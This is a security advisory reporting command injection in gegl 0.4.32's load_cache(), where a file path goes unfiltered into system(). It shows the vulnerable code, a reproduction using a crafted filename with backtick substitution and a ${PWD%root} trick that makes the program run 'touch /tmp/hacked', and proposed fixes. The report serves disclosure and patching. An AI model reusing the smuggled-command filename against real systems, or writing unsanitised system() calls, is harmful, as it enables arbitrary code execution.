# Arbitrary Command Execution in load_cache()
Reported in version: gegl-0.4.32
Reported in System: openEuler / Ubuntu 20.04.1 LTS
Description
When loading an unknwon-suffix file through gegl_node_new_child()
(operation = gegl:load
), the program tries to execute convert
command using system()
in load_cache()
function. The convert command is constructed with the file path passed in gegl_node_new_child()
and no filter is applied. Therefore, an attacker can mount arbitrary command execution if he controls the path.
It seems you have already noticed the threat and comment it as FIXME
. We just demonstrate the unsafe use of system()
may lead to severe problem.
static void
load_cache (GeglProperties *op_magick_load)
{
... ...
/* ImageMagick backed fallback FIXME: make this robust.
* maybe use pipes in a manner similar to the raw loader,
* or at least use a properly unique filename */
filename = g_build_filename (g_get_tmp_dir (), "gegl-magick.png", NULL);
cmd = g_strdup_printf ("convert \"%s\"'[0]' \"%s\"",
op_magick_load->path, filename);
if (system (cmd) == -1)
g_warning ("Error executing ImageMagick convert program");
... ...
}
Proof of Concept
Reproduce steps
Step 1: Download and install the latest gegl
$ wget https://download.gimp.org/pub/gegl/0.4/gegl-0.4.32.tar.xz
$ tar xvf gegl-0.4.32.tar.xz
$ cd gegl-0.4.32
$ meson _build
$ ninja -C _build/
$ meson install -C _build/
2geglbuffer.c
in examples/
as a harness
Step 2: Compile and Use 2geglbuffer.c
calls gegl_node_new_child (gegl, "operation", "gegl:load", "path", argv[1], NULL);
. It simulates a situation that the attacker controls the load path.
$ cd /root
$ cp gegl-0.4.32/examples/2geglbuffer.c .
$ cc 2geglbuffer.c `pkg-config --cflags --libs gegl-0.4` -o harness_2geglbuffer
realpath()
error
Step 3: Create a fake file to bypass the file has to exist to bypass check in load.c:128
. Since /
is not allowd in file name, we use enviroment variable to bypass it.
$ touch -- '`touch ${PWD%root}tmp${PWD%root}hacked`.unknown'
Step 4: Run harness with crafted file path
$ rm /tmp/hacked
$ ./harness_2geglbuffer ./\`touch\ \$\{PWD%root\}tmp\$\{PWD%root\}hacked\`.unknown /tmp/out.gegl
Result
touch /tmp/hacked
is executed and /tmp/hacked
exists.
$ ls -l /tmp/hacked
-rw-r--r-- 1 root root 0 Dec 1 16:38 /tmp/hacked
Suggested Fix
- Validate file path against a set of sensitive shell metacharacters (e.g.
&
,|
,`
,$
and;
) - Or find an alternative to
system()
as mentioned in the comment